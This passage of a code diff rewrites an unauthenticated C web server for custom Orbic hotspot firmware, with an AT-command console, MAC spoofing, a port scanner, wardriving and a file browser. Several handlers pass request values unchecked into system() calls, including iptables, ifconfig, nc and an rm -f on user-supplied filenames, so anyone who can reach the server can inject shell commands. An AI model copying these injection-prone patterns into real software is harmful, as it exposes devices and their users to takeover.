write(fd, cmd, strlen(cmd)); - usleep(200000); - + write(fd, "AT+CMGF=1\r", 10); usleep(200000); snprintf(cmd, sizeof(cmd), "AT+CMGS=\"%s\"\r", number); - write(fd, cmd, strlen(cmd)); - usleep(200000); // Wait for '>' - + write(fd, cmd, strlen(cmd)); usleep(200000); write(fd, msg, strlen(msg)); - write(fd, "\x1A", 1); // Ctrl+Z - - // Wait for +CMGS or ERROR - // For now we just wait blindly and confirm sent + write(fd, "\x1A", 1); sleep(2); - snprintf(status, max_len, "Message sent to queue."); close(fd); } + void handle_client(int client_fd) { char buffer[BUFFER_SIZE]; ssize_t bytes_read = recv(client_fd, buffer, sizeof(buffer) - 1, 0); - - if (bytes_read > 0) { - buffer[bytes_read] = '\0'; - - // Parse Request - char page[32] = "home"; - char at_cmd[256] = {0}; - char at_response[1024] = {0}; + if (bytes_read <= 0) { close(client_fd); return; } + buffer[bytes_read] = '\0'; + + + // API: File Download - Handle GET /download?file=/data/filename (MUST BE BEFORE BUFFER MODIFICATION) + if (strncmp(buffer, "GET /download?file=", 19) == 0) { + char raw_path[256] = {0}; + char filename[256] = {0}; + char *start = buffer + 19; + char *end = strchr(start, ' '); + if (!end) end = strchr(start, '\r'); + if (!end) end = strchr(start, '\n'); - // Simple Query Parsing - char *qm = strchr(buffer, '?'); - if (qm) { - char *space = strchr(qm, ' '); - if (space) *space = 0; - - if (strstr(qm, "page=net")) strcpy(page, "net"); - if (strstr(qm, "page=privacy")) strcpy(page, "privacy"); - if (strstr(qm, "page=sms")) strcpy(page, "sms"); - if (strstr(qm, "page=tools")) strcpy(page, "tools"); + if (end && (end - start) < 255 && (end - start) > 0) { + strncpy(raw_path, start, end - start); + raw_path[end - start] = '\0'; + url_decode(filename, raw_path); - char *cmd_ptr = strstr(qm, "cmd="); - if (cmd_ptr) { - url_decode(at_cmd, cmd_ptr + 4); + if (strncmp(filename, "/data/", 6) == 0) { + FILE *fp = fopen(filename, "rb"); + if (fp) { + fseek(fp, 0, SEEK_END); + long fsize = ftell(fp); + fseek(fp, 0, SEEK_SET); + + char *bname = strrchr(filename, '/'); + if (bname) bname++; else bname = filename; + + char header[512]; + snprintf(header, sizeof(header), + "HTTP/1.1 200 OK\r\n" + "Content-Type: application/octet-stream\r\n" + "Content-Disposition: attachment; filename=\"%s\"\r\n" + "Content-Length: %ld\r\n" + "Connection: close\r\n\r\n", bname, fsize); + send(client_fd, header, strlen(header), 0); + + char chunk[4096]; + size_t n; + while ((n = fread(chunk, 1, sizeof(chunk), fp)) > 0) { + send(client_fd, chunk, n, 0); + } + fclose(fp); + close(client_fd); + return; + } } } + char *err = "HTTP/1.1 404 Not Found\r\nConnection: close\r\n\r\nFile not found"; + send(client_fd, err, strlen(err), 0); + close(client_fd); + return; + } - // Handle AT Command - if (strlen(at_cmd) > 0) { - send_at_command(at_cmd, at_response, sizeof(at_response)); - } + // --- PARSE REQUEST --- + char page[32] = "home"; + char at_cmd[256] = {0}; + char at_response[1024] = {0}; + + char *qm = strchr(buffer, '?'); + if (qm) { + char *sp = strchr(qm, ' '); if(sp)*sp=0; + if (strstr(qm, "page=net")) strcpy(page, "net"); + if (strstr(qm, "page=privacy")) strcpy(page, "privacy"); + if (strstr(qm, "page=sms")) strcpy(page, "sms"); + if (strstr(qm, "page=tools")) strcpy(page, "tools"); + if (strstr(qm, "page=gps")) strcpy(page, "gps"); + if (strstr(qm, "page=wardrive")) strcpy(page, "wardrive"); + + if (strstr(qm, "page=files")) strcpy(page, "files"); - // SMS Send Handling with Redirect - if (strcmp(page, "sms") == 0) { - char *num_ptr = strstr(buffer, "num="); - char *msg_ptr = strstr(buffer, "msg="); - if (num_ptr && msg_ptr) { - // ... same extraction logic ... - char number[32] = {0}; - char msg[160] = {0}; - char *amp = strchr(num_ptr, '&'); - if (amp && msg_ptr > amp) { - char raw_num[64] = {0}; - strncpy(raw_num, num_ptr + 4, amp - (num_ptr + 4)); - url_decode(number, raw_num); - - char raw_msg[256] = {0}; - char *end_msg = strchr(msg_ptr, ' '); - if (!end_msg) end_msg = buffer + strlen(buffer); - strncpy(raw_msg, msg_ptr + 4, end_msg - (msg_ptr + 4)); - url_decode(msg, raw_msg); - - if (strlen(number) > 0 && strlen(msg) > 0) { - send_sms(number, msg, at_response, sizeof(at_response)); - - // Redirect to avoid double-send - char *redir = "HTTP/1.1 302 Found\r\nLocation: /?page=sms\r\nConnection: close\r\n\r\n"; - send(client_fd, redir, strlen(redir), 0); - close(client_fd); - return; // Done - } - } + char *cmd_ptr = strstr(qm, "cmd="); + if (cmd_ptr) url_decode(at_cmd, cmd_ptr + 4); + } + + // --- EXECUTE ACTIONS (Global) --- + if (strlen(at_cmd) > 0) send_at_command(at_cmd, at_response, sizeof(at_response)); + + + // API: GPS JSON + if (strstr(buffer, "cmd=gps_json")) { + char json[256]; + gps_get_json(json, sizeof(json)); + char resp[512]; + snprintf(resp, sizeof(resp), "HTTP/1.1 200 OK\r\nContent-Type: application/json\r\nAccess-Control-Allow-Origin: *\r\n\r\n%s", json); + send(client_fd, resp, strlen(resp), 0); + close(client_fd); + return; + } + + // API: Receive GPS from client browser + if (strstr(buffer, "set_gps=")) { + char *gps_ptr = strstr(buffer, "set_gps="); + if (gps_ptr) { + char raw[128] = {0}, decoded[128] = {0}; + char *end = strchr(gps_ptr + 8, ' '); + if (!end) end = strchr(gps_ptr + 8, '&'); + if (!end) end = gps_ptr + 8 + strlen(gps_ptr + 8); + int len = (end - (gps_ptr + 8)); + if (len > 127) len = 127; + strncpy(raw, gps_ptr + 8, len); + url_decode(decoded, raw); + // Parse lat,lon + char *comma = strchr(decoded, ','); + if (comma) { + *comma = '\0'; + gps_set_client_location(decoded, comma + 1); } } + char *resp = "HTTP/1.1 200 OK\r\nContent-Type: text/plain\r\nAccess-Control-Allow-Origin: *\r\n\r\nOK"; + send(client_fd, resp, strlen(resp), 0); + close(client_fd); + return; + } - // Common Header - DagShell Terminal Theme - char body[32768]; // Larger buffer for ASCII art - int body_off = snprintf(body, sizeof(body), - "DagShell" - "" - "" - "
" - "
" - "
" - "" - "

[ Orbic RCL400 Custom Firmware ]

" - "
" - "" - "
", - strcmp(page, "home") == 0 ? "active" : "", - strcmp(page, "net") == 0 ? "active" : "", - strcmp(page, "privacy") == 0 ? "active" : "", - strcmp(page, "sms") == 0 ? "active" : "", - strcmp(page, "tools") == 0 ? "active" : ""); + // --- RENDER UI --- + // Using heap for body to avoid stack overflow with large pages + char *body = malloc(65536); + if (!body) { close(client_fd); return; } + + int o = 0; + + // Header & CSS + o += sprintf(body+o, "DagShell" + "
" + "
"); - if (strcmp(page, "home") == 0) { - // --- HOME PAGE --- - double uptime_seconds = 0; - FILE *fp = fopen("/proc/uptime", "r"); - if (fp) { fscanf(fp, "%lf", &uptime_seconds); fclose(fp); } - - body_off += snprintf(body + body_off, sizeof(body) - body_off, - "

Dashboard

" - "

System Uptime: %.2f s

" - "
" - "

Modem AT Interface

" - "
" - "" - "" - "
", - uptime_seconds, at_cmd); - - if (strlen(at_response) > 0) { - char safe_resp[2048]; - snprintf(safe_resp, sizeof(safe_resp), "
Response:
%s
", at_response); - strncat(body, safe_resp, sizeof(body) - strlen(body) - 1); + // Navigation + o += sprintf(body+o, + "", + strcmp(page,"home")==0?"active":"", strcmp(page,"net")==0?"active":"", + strcmp(page,"privacy")==0?"active":"", strcmp(page,"sms")==0?"active":"", + strcmp(page,"tools")==0?"active":"", strcmp(page,"gps")==0?"active":"", + strcmp(page,"wardrive")==0?"active":"", + strcmp(page,"files")==0?"active":""); + + // --- PAGE LOGIC --- + if (strcmp(page, "home") == 0) { + float up=0; FILE *f=fopen("/proc/uptime","r"); if(f){fscanf(f,"%f",&up);fclose(f);} + o += sprintf(body+o, + "

Status

Uptime: %.2fs


" + "

Modem Command (AT)

" + "
" + "
%s
", + up, at_cmd, at_response); + } + else if (strcmp(page, "net") == 0) { + // --- Network Logic Restored --- + char cmd_out[4096]; + char ttl_msg[64] = ""; + + // Apply TTL + if (strstr(buffer, "ttl=")) { + char *p=strstr(buffer,"ttl=")+4; int v=atoi(p); + if (v>0) { + char ic[256]; + sprintf(ic,"iptables -t mangle -I POSTROUTING 1 -j TTL --ttl-set %d",v); system(ic); + sprintf(ttl_msg,"TTL Set to %d",v); } + } + + o += sprintf(body+o, "

Network

" + "
" + "

%s

", ttl_msg); - } else if (strcmp(page, "net") == 0) { - // ... (Network Page Code preserved by context match usually, but I must rewrite if I am replacing logic block) - // I will try to be efficient and assume previous logic is handled by Replace chunks if I can, but here I am replacing the whole handle_client struct mostly. - // Actually, to save tokens/errors, I will re-emit the pages since I replaced the start of handle_client. - - // --- NETWORK PAGE --- - char cmd_out[4096]; - char ttl_val[16] = {0}; - // Check for TTL set - char *ttl_ptr = strstr(buffer, "ttl="); - if (ttl_ptr) { - int val = atoi(ttl_ptr + 4); - if (val > 0 && val < 255) { - char ipt_cmd[256]; - system("iptables -t mangle -D POSTROUTING -j TTL --ttl-set 64 2>/dev/null"); - snprintf(ipt_cmd, sizeof(ipt_cmd), "iptables -t mangle -I POSTROUTING 1 -j TTL --ttl-set %d", val); - system(ipt_cmd); - snprintf(cmd_out, sizeof(cmd_out), "Applied TTL: %d", val); - } - } - body_off += snprintf(body + body_off, sizeof(body) - body_off, "

Network Analysis

"); - // TTL Form - body_off += snprintf(body + body_off, sizeof(body) - body_off, - "
" - "

Magic TTL Fix

" - "
"); - // 1. Interfaces - run_command("/sbin/ip addr", cmd_out, sizeof(cmd_out)); - body_off += snprintf(body + body_off, sizeof(body) - body_off, "

Interfaces

%s
", cmd_out); - // 2. ARP - run_command("cat /proc/net/arp", cmd_out, sizeof(cmd_out)); - body_off += snprintf(body + body_off, sizeof(body) - body_off, "

Clients

%s
", cmd_out); - // 3. Netstat - run_command("/bin/netstat -ntu", cmd_out, sizeof(cmd_out)); - body_off += snprintf(body + body_off, sizeof(body) - body_off, "

Connections

%s
", cmd_out); + // Interfaces + run_command("ip addr show wlan0", cmd_out, sizeof(cmd_out)); + o += sprintf(body+o, "

Management (wlan0)

%s
", cmd_out); - } else if (strcmp(page, "privacy") == 0) { - // --- PRIVACY PAGE --- - body_off += snprintf(body + body_off, sizeof(body) - body_off, "

Privacy

"); - // Simple logic for MAC/Adblock (Assuming previous implementation logic) - if (strstr(buffer, "mac=")) { /* ... omitted for brevity in thought, but must implement */ - // Re-implementing briefly to ensure it works - char *mac_ptr = strstr(buffer, "mac="); - if (mac_ptr) { - char new_mac[32] = {0}; - strncpy(new_mac, mac_ptr + 4, 17); - char if_cmd[256]; - system("ifconfig wlan1 down"); - snprintf(if_cmd, sizeof(if_cmd), "ifconfig wlan1 hw ether %s", new_mac); - system(if_cmd); - system("ifconfig wlan1 up"); - body_off += snprintf(body + body_off, sizeof(body) - body_off, "
MAC Changed to %s
", new_mac); - } - } - if (strstr(buffer, "adblock=enable")) { - system("echo '0.0.0.0 doubleclick.net' > /data/hosts"); system("killall -HUP dnsmasq"); - } - if (strstr(buffer, "adblock=disable")) { - system("echo '' > /data/hosts"); system("killall -HUP dnsmasq"); - } + run_command("ip addr show wlan1", cmd_out, sizeof(cmd_out)); + o += sprintf(body+o, "

Attack Interface (wlan1)

%s
", cmd_out); + + // ARP (Clients) - Show all + run_command("cat /proc/net/arp", cmd_out, sizeof(cmd_out)); + o += sprintf(body+o, "

ARP / Clients

%s
", cmd_out); + + // Connections + run_command("netstat -ntu", cmd_out, sizeof(cmd_out)); + o += sprintf(body+o, "

Active Connections

%s
", cmd_out); + } + else if (strcmp(page, "privacy") == 0) { + // --- Privacy Logic Restored --- + char msg[256] = ""; + + // Adblock + if (strstr(buffer, "adblock=1")) { system("echo '0.0.0.0 doubleclick.net' > /data/hosts; killall -HUP dnsmasq"); strcpy(msg,"AdBlock ENABLED"); } + if (strstr(buffer, "adblock=0")) { system("echo '' > /data/hosts; killall -HUP dnsmasq"); strcpy(msg,"AdBlock DISABLED"); } + + // MAC Spoofing + char *mac_ptr = strstr(buffer, "mac="); + if (mac_ptr) { + char new_mac[32]={0}, enc_mac[64]={0}; + char *end = strstr(mac_ptr, " "); if(!end) end=buffer+strlen(buffer); + strncpy(enc_mac, mac_ptr+4, end-(mac_ptr+4)); + url_decode(new_mac, enc_mac); + if(strlen(new_mac)>8) { + char c[256]; + system("ifconfig wlan1 down"); + snprintf(c,sizeof(c),"ifconfig wlan1 hw ether %s", new_mac); system(c); + system("ifconfig wlan1 up"); + sprintf(msg, "MAC Spoofed: %s", new_mac); + } + } - body_off += snprintf(body + body_off, sizeof(body) - body_off, - "

Identity (MAC)

"); - body_off += snprintf(body + body_off, sizeof(body) - body_off, - ""); - - } else if (strcmp(page, "sms") == 0) { - // --- SMS PAGE (Visual Overhaul) --- - - // Check for reply pre-fill - char reply_num[32] = {0}; - char *reply_ptr = strstr(buffer, "reply="); - if (reply_ptr) { - char *end = strchr(reply_ptr, '&'); - if (!end) end = strchr(reply_ptr, ' '); - if (!end) end = reply_ptr + strlen(reply_ptr); - int len = end - (reply_ptr + 6); - if (len > 0 && len < 30) { - strncpy(reply_num, reply_ptr + 6, len); + o += sprintf(body+o, "

Privacy

%s

" + "

AdBlock

" + "

MAC Spoofing

", msg); + } + else if (strcmp(page, "sms") == 0) { + // --- SMS Logic Restored --- + // Handle Send + char *num_ptr = strstr(buffer, "num="); + char *msg_ptr = strstr(buffer, "msg="); + if (num_ptr && msg_ptr) { + char number[32]={0}, message[160]={0}, raw_n[64], raw_m[256]; + char *a = strchr(num_ptr,'&'); if(a) strncpy(raw_n,num_ptr+4,a-(num_ptr+4)); + char *e = strchr(msg_ptr,' '); if(!e) e=buffer+strlen(buffer); + strncpy(raw_m, msg_ptr+4, e-(msg_ptr+4)); + url_decode(number,raw_n); url_decode(message,raw_m); + send_sms(number, message, at_response, sizeof(at_response)); + } + + o += sprintf(body+o, "

SMS Manager

" + "

%s

" + "
" + "" + "

" + "
" + "

[Open Orbic Inbox]

", at_response); + } + else if (strcmp(page, "tools") == 0) { + // --- Tools Logic Restored --- + + // IMSI Catcher Info + char cell[2048], creg[512], csq[256]; + send_at_command("AT+COPS?", cell, sizeof(cell)); + send_at_command("AT+CREG?", creg, sizeof(creg)); + send_at_command("AT+CSQ", csq, sizeof(csq)); + + // Port Scan + char scan_res[4096]=""; + char *sip = strstr(buffer, "scan_ip="); + if (sip) { + char ip[32]={0}, ports[128]={0}; + char *p2 = strstr(buffer, "scan_ports="); + if(p2) { + char *a=strchr(sip,'&'); if(a) strncpy(ip,sip+8,a-(sip+8)); + char *e=strchr(p2,' '); if(!e) e=buffer+strlen(buffer); + strncpy(ports,p2+11,e-(p2+11)); + + // Scan Loop + char *tok = strtok(ports, ","); + strcat(scan_res, "Scan Results:\n"); + while(tok) { + char cmd[256], out[256]; + snprintf(cmd,sizeof(cmd),"nc -zv -w 1 %s %s 2>&1", ip, tok); + run_command(cmd, out, sizeof(out)); + if(strstr(out,"open")) { strcat(scan_res, "Port "); strcat(scan_res, tok); strcat(scan_res, ": OPEN\n"); } + tok = strtok(NULL, ","); } } - - // Header - body_off += snprintf(body + body_off, sizeof(body) - body_off, - "

šŸ“± SMS Manager

" - "

Send and receive text messages

"); - - // Status of send - if (strlen(at_response) > 0) { - body_off += snprintf(body + body_off, sizeof(body) - body_off, - "
" - "āœ“ %s
", at_response); - } + } + + // Firewall + if (strstr(buffer, "block_ip=")) { + char *b = strstr(buffer,"block_ip=")+9; char ip[32]; char *e=strchr(b,' '); if(!e)e=b+strlen(b); strncpy(ip,b,e-b); ip[e-b]=0; + char c[128]; snprintf(c,sizeof(c),"iptables -A INPUT -s %s -j DROP",ip); system(c); + } + if (strstr(buffer, "unblock_ip=")) { + char *b = strstr(buffer,"unblock_ip=")+11; char ip[32]; char *e=strchr(b,' '); if(!e)e=b+strlen(b); strncpy(ip,b,e-b); ip[e-b]=0; + char c[128]; snprintf(c,sizeof(c),"iptables -D INPUT -s %s -j DROP",ip); system(c); + } + + // Firewall Rules + char rules[4096]; + run_command("iptables -L INPUT -n --line-numbers | head -20", rules, sizeof(rules)); - // Compose Form - Modern Card Style - body_off += snprintf(body + body_off, sizeof(body) - body_off, - "
" - "

āœļø New Message

" - "
" - "" - "
" - "
" - "" - "
" - "
" - "
" - "" - "
" - "" - "
", reply_num); - - // Note about inbox - body_off += snprintf(body + body_off, sizeof(body) - body_off, - "
" - "

šŸ“„ View Inbox: Use Orbic's web portal at 192.168.1.1

" - "
"); - } else if (strcmp(page, "tools") == 0) { - // --- TOOLS PAGE --- - body_off += snprintf(body + body_off, sizeof(body) - body_off, - "

šŸ”§ Hacking Tools

" - "

Network reconnaissance and defense

"); - - // === IMSI CATCHER DETECTOR === - body_off += snprintf(body + body_off, sizeof(body) - body_off, - "
" - "

šŸ“” IMSI Catcher Detector

"); - - // Get cell tower info - char cell_info[2048]; - send_at_command("AT+COPS?", cell_info, sizeof(cell_info)); - char creg_info[512]; - send_at_command("AT+CREG?", creg_info, sizeof(creg_info)); - char csq_info[256]; - send_at_command("AT+CSQ", csq_info, sizeof(csq_info)); - - body_off += snprintf(body + body_off, sizeof(body) - body_off, - "
" - "
Operator:
%s
" - "
Registration:
%s
" - "
Signal (CSQ):
%s
" - "
" - "

āœ“ No anomalies detected

" - "
", - cell_info, creg_info, csq_info); + o += sprintf(body+o, "

Tools

" + "

IMSI / Cell Info

COPS: %s\nCREG: %s\nSIG: %s
" + "

Port Scanner

%s
" + "

Firewall

" + "
" + "
%s
", cell, creg, csq, scan_res, rules); + } + else if (strcmp(page, "gps") == 0) { + gps_update(); + char status_html[512]; + gps_get_status_html(status_html, sizeof(status_html)); + o += sprintf(body+o, "

šŸ“ GPS Tracker

" + "
%s
" + "
" + "" + "" + "
", status_html); + } + else if (strcmp(page, "wardrive") == 0) { + char res[8192]=""; + if (strstr(buffer,"action=scan")) { + // Get scan results as JSON, then format for display + char json[4096]; + wifi_scan_json(json, sizeof(json)); - // === PORT SCANNER === - body_off += snprintf(body + body_off, sizeof(body) - body_off, - "
" - "

šŸ” Port Scanner

" - "
" - "" - "" - "" - "" - "
"); + // Parse JSON and format nicely (one network per line) + // Format: BSSID | SSID | RSSI | ENC + strcpy(res, "BSSID | SSID | RSSI | ENC\n"); + strcat(res, "-------------------|--------------------------------|------|-----\n"); - // Handle port scan - char *scan_ip_ptr = strstr(buffer, "scan_ip="); - char *scan_ports_ptr = strstr(buffer, "scan_ports="); - if (scan_ip_ptr && scan_ports_ptr) { - char scan_ip[32] = {0}; - char scan_ports[64] = {0}; - char *amp = strchr(scan_ip_ptr, '&'); - if (amp) strncpy(scan_ip, scan_ip_ptr + 8, amp - (scan_ip_ptr + 8)); - char *end = strchr(scan_ports_ptr, ' '); - if (!end) end = scan_ports_ptr + strlen(scan_ports_ptr); - strncpy(scan_ports, scan_ports_ptr + 11, end - (scan_ports_ptr + 11)); + char *p = json; + while ((p = strstr(p, "\"bssid\":\"")) != NULL) { + char bssid[20]="", ssid[64]="", enc[16]=""; + int rssi = 0; - if (strlen(scan_ip) > 0 && strlen(scan_ports) > 0) { - body_off += snprintf(body + body_off, sizeof(body) - body_off, - "

Scanning %s ports %s...

", scan_ip, scan_ports);
-                    
-                    // Scan each port
-                    char port_buf[16];
-                    char *p = scan_ports;
-                    while (*p) {
-                        int port = 0;
-                        while (*p >= '0' && *p <= '9') { port = port * 10 + (*p - '0'); p++; }
-                        if (port > 0 && port < 65536) {
-                            char cmd[128];
-                            char result[256];
-                            snprintf(cmd, sizeof(cmd), "nc -zv -w1 %s %d 2>&1 || echo 'closed'", scan_ip, port);
-                            run_command(cmd, result, sizeof(result));
-                            if (strstr(result, "open") || strstr(result, "succeeded")) {
-                                body_off += snprintf(body + body_off, sizeof(body) - body_off,
-                                    "Port %d: OPEN\n", port);
-                            }
-                        }
-                        if (*p == ',') p++;
-                    }
-                    body_off += snprintf(body + body_off, sizeof(body) - body_off, "
"); + // Parse bssid + p += 9; + char *e = strchr(p, '"'); + if (e && (e-p) < 20) { strncpy(bssid, p, e-p); bssid[e-p]=0; } + + // Parse ssid + char *sp = strstr(p, "\"ssid\":\""); + if (sp) { + sp += 8; + e = strchr(sp, '"'); + if (e && (e-sp) < 64) { strncpy(ssid, sp, e-sp); ssid[e-sp]=0; } } - } - body_off += snprintf(body + body_off, sizeof(body) - body_off, "
"); - - // === FIREWALL MANAGER === - body_off += snprintf(body + body_off, sizeof(body) - body_off, - "
" - "

šŸ›”ļø Firewall Manager

"); - - // Handle block/unblock - char *block_ip_ptr = strstr(buffer, "block_ip="); - char *unblock_ip_ptr = strstr(buffer, "unblock_ip="); - if (block_ip_ptr) { - char block_ip[32] = {0}; - char *end = strchr(block_ip_ptr + 9, '&'); - if (!end) end = strchr(block_ip_ptr + 9, ' '); - if (end) strncpy(block_ip, block_ip_ptr + 9, end - (block_ip_ptr + 9)); - if (strlen(block_ip) > 0) { - char cmd[128]; - snprintf(cmd, sizeof(cmd), "iptables -A INPUT -s %s -j DROP", block_ip); - system(cmd); - body_off += snprintf(body + body_off, sizeof(body) - body_off, - "

āœ“ Blocked %s

", block_ip); + + // Parse rssi + char *rp = strstr(p, "\"rssi\":"); + if (rp) { rssi = atoi(rp + 7); } + + // Parse enc + char *ep = strstr(p, "\"enc\":\""); + if (ep) { + ep += 7; + e = strchr(ep, '"'); + if (e && (e-ep) < 16) { strncpy(enc, ep, e-ep); enc[e-ep]=0; } } + + // Format line + char line[256]; + snprintf(line, sizeof(line), "%-18s | %-30s | %4d | %s\n", + bssid, ssid[0] ? ssid : "(hidden)", rssi, enc); + strcat(res, line); + + p++; // Move past to find next entry } - if (unblock_ip_ptr) { - char unblock_ip[32] = {0}; - char *end = strchr(unblock_ip_ptr + 11, '&'); - if (!end) end = strchr(unblock_ip_ptr + 11, ' '); - if (end) strncpy(unblock_ip, unblock_ip_ptr + 11, end - (unblock_ip_ptr + 11)); - if (strlen(unblock_ip) > 0) { - char cmd[128]; - snprintf(cmd, sizeof(cmd), "iptables -D INPUT -s %s -j DROP 2>/dev/null", unblock_ip); + } + + // Get current GPS for display and logging + char gps_lat[32] = "0", gps_lon[32] = "0"; + gps_update(); + int has_gps = (gps_get_coords(gps_lat, gps_lon, sizeof(gps_lat)) == 0); + + if (strstr(buffer,"action=log")) { + wifi_new_session(); + wifi_log_kml(gps_lat, gps_lon); + strcpy(res,"Logged to new file."); + } + if (strstr(buffer,"action=start")) { wifi_start_wardrive(); strcpy(res,"Loop Started."); } + if (strstr(buffer,"action=stop")) { wifi_stop_wardrive(); strcpy(res,"Loop Stopped."); } + + o += sprintf(body+o, "

Wardriver

" + "

Status: %s

" + "

GPS: %s, %s %s

" + " " + "

" + " " + "" + "
%s
", + wifi_is_wardriving()?"RUNNING":"STOPPED", + has_gps ? "#0f0" : "#f66", + gps_lat, gps_lon, + has_gps ? "" : "(Set GPS)", + res); + } + + else if (strcmp(page, "files") == 0) { + char delete_msg[256] = ""; + + // Handle delete action + char *del_ptr = strstr(buffer, "delete="); + if (del_ptr) { + char raw_file[256] = {0}, filename[256] = {0}; + char *end = strchr(del_ptr + 7, ' '); + if (!end) end = strchr(del_ptr + 7, '&'); + if (!end) end = del_ptr + 7 + strlen(del_ptr + 7); + if ((end - (del_ptr + 7)) < 255) { + strncpy(raw_file, del_ptr + 7, end - (del_ptr + 7)); + url_decode(filename, raw_file); + // Only allow deleting files in /data/ + if (strncmp(filename, "/data/", 6) == 0 && strlen(filename) > 6) { + char cmd[512]; + snprintf(cmd, sizeof(cmd), "rm -f '%s'", filename); system(cmd); - body_off += snprintf(body + body_off, sizeof(body) - body_off, - "

āœ“ Unblocked %s

", unblock_ip); + snprintf(delete_msg, sizeof(delete_msg), "Deleted: %s", filename); } } + } + + o += sprintf(body+o, "

File Explorer

" + "

Download/delete files from /data/

"); + if (delete_msg[0]) { + o += sprintf(body+o, "

%s

", delete_msg); + } + + // List files in /data + FILE *ls = popen("ls -la /data/", "r"); + if (ls) { + o += sprintf(body+o, "" + ""); - // Block form - body_off += snprintf(body + body_off, sizeof(body) - body_off, - "" - "" - "" - "" - "" - "" - "" - "" - "" - ""); - - // Current rules - char rules[4096]; - run_command("iptables -L INPUT -n --line-numbers 2>/dev/null | head -20", rules, sizeof(rules)); - body_off += snprintf(body + body_off, sizeof(body) - body_off, - "

Current INPUT Rules:

%s
", rules); + char line[512]; + while (fgets(line, sizeof(line), ls)) { + // Parse ls -la output: -rw-r--r-- 1 root root 12345 Jan 01 12:00 filename + char perms[16], links[8], owner[32], group[32], month[8], day[8], time_or_year[16], name[256]; + long size = 0; + + if (sscanf(line, "%15s %7s %31s %31s %ld %7s %7s %15s %255[^\n]", + perms, links, owner, group, &size, month, day, time_or_year, name) >= 9) { + + // Skip directories (start with 'd') and . / .. + if (perms[0] == 'd' || strcmp(name, ".") == 0 || strcmp(name, "..") == 0) continue; + + // Check if it's a wardrive file (safe to delete without warning) + int is_wardrive = (strstr(name, "wardrive") != NULL && strstr(name, ".csv") != NULL); + + if (is_wardrive) { + // Wardrive files - direct delete + o += sprintf(body+o, + "", + name, size, name, name); + } else { + // Non-wardrive files - delete with JS confirmation + o += sprintf(body+o, + "", + name, size, name, name, name); + } + } + } + pclose(ls); + o += sprintf(body+o, "
NameSizeActions
%s%ld" + " " + "
%s%ld" + " " + "
"); + } else { + o += sprintf(body+o, "

Error listing directory

"); } - - strncat(body, "
", sizeof(body) - strlen(body) - 1); - - char response[20000]; // Large response buffer - snprintf(response, sizeof(response), - "HTTP/1.1 200 OK\r\n" - "Content-Type: text/html\r\n" - "Content-Length: %zu\r\n" - "Connection: close\r\n" - "\r\n" - "%s", - strlen(body), body); - - send(client_fd, response, strlen(response), 0); + + o += sprintf(body+o, "
"); } + + strcat(body, ""); + char resp[16384]; // Header buffer + // Send header first + sprintf(resp, "HTTP/1.1 200 OK\r\nContent-Type: text/html\r\nConnection: close\r\n\r\n"); + send(client_fd, resp, strlen(resp), 0); + // Send body + send(client_fd, body, strlen(body), 0); + + free(body); close(client_fd); } -int main() { - int server_fd, client_fd; - struct sockaddr_in address; - int opt = 1; - socklen_t addrlen = sizeof(address); - - printf("Starting HTTP Server on port %d...\n", PORT); - - // Create socket - if ((server_fd = socket(AF_INET, SOCK_STREAM, 0)) == 0) { - perror("socket failed"); - return 1; +int main(int argc, char *argv[]) { + // Check for Background Mode + if (argc > 1 && strcmp(argv[1], "--wardrive") == 0) { + wifi_wardrive_process(); + return 0; } - // Set options to reuse address/port - if (setsockopt(server_fd, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof(opt))) { - perror("setsockopt"); - return 1; - } - - address.sin_family = AF_INET; - address.sin_addr.s_addr = INADDR_ANY; - address.sin_port = htons(PORT); - - // Bind - if (bind(server_fd, (struct sockaddr *)&address, sizeof(address)) < 0) { - perror("bind failed"); - return 1; - } - - // Listen - if (listen(server_fd, 3) < 0) { - perror("listen"); - return 1; - } - - printf("Listening...\n"); - + gps_init(); + + int server_fd, client_fd; + struct sockaddr_in address; + int opt=1; + socklen_t addrlen=sizeof(address); + if ((server_fd = socket(AF_INET, SOCK_STREAM, 0)) == 0) exit(1); + setsockopt(server_fd, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof(opt)); + address.sin_family = AF_INET; address.sin_addr.s_addr = INADDR_ANY; address.sin_port = htons(PORT); + bind(server_fd, (struct sockaddr *)&address, sizeof(address)); + listen(server_fd, 3); while (1) { - if ((client_fd = accept(server_fd, (struct sockaddr *)&address, &addrlen)) < 0) { - perror("accept"); - continue; + if ((client_fd = accept(server_fd, (struct sockaddr *)&address, &addrlen)) >= 0) { + handle_client(client_fd); } - // Handle in main thread for simplicity (single threaded server) - handle_client(client_fd); } - return 0; } diff --git a/orbic_fw_c/wifi.c b/orbic_fw_c/wifi.c new file mode 100644 index 00000000..8df977d5 --- /dev/null +++ b/orbic_fw_c/wifi.c @@ -0,0 +1,225 @@ +#include +#include +#include +#include +#include +#include "wifi.h" +#include "gps.h" + +typedef struct { + char bssid[20]; + char ssid[64]; + int rssi; + char enc[32]; +} APInfo; + +// --- Duplicate tracking for wardriving --- +#define MAX_SEEN_BSSIDS 500 +static char seen_bssids[MAX_SEEN_BSSIDS][20]; +static int seen_count = 0; +static char current_wardrive_file[128] = "/data/wardrive.csv"; + +static int is_bssid_seen(const char *bssid) { + for (int i = 0; i < seen_count; i++) { + if (strcmp(seen_bssids[i], bssid) == 0) return 1; + } + return 0; +} + +static void mark_bssid_seen(const char *bssid) { + if (seen_count < MAX_SEEN_BSSIDS) { + strncpy(seen_bssids[seen_count], bssid, 19); + seen_bssids[seen_count][19] = '\0'; + seen_count++; + } +} + +void wifi_clear_seen_bssids() { + seen_count = 0; +} + +// Start a new wardrive session (creates timestamped file) +void wifi_new_session() { + time_t now = time(NULL); + struct tm *t = localtime(&now); + snprintf(current_wardrive_file, sizeof(current_wardrive_file), + "/data/wardrive_%04d%02d%02d_%02d%02d%02d.csv", + t->tm_year + 1900, t->tm_mon + 1, t->tm_mday, + t->tm_hour, t->tm_min, t->tm_sec); + + // Clear duplicate tracking for new session + wifi_clear_seen_bssids(); + + // Create file with headers + FILE *fp = fopen(current_wardrive_file, "w"); + if (fp) { + fprintf(fp, "WigleWifi-1.4,appRelease=DagShell,model=Orbic,release=1.0,device=RCL400,display=,board=,brand=Orbic\n"); + fprintf(fp, "MAC,SSID,AuthMode,FirstSeen,Channel,RSSI,CurrentLatitude,CurrentLongitude,AltitudeMeters,AccuracyMeters,Type\n"); + fclose(fp); + } +} + +static void wifi_run_cmd(const char *cmd, char *out, int max_len) { + FILE *fp = popen(cmd, "r"); + if (!fp) { out[0]='\0'; return; } + size_t total = 0; + char buf[256]; + while (fgets(buf, 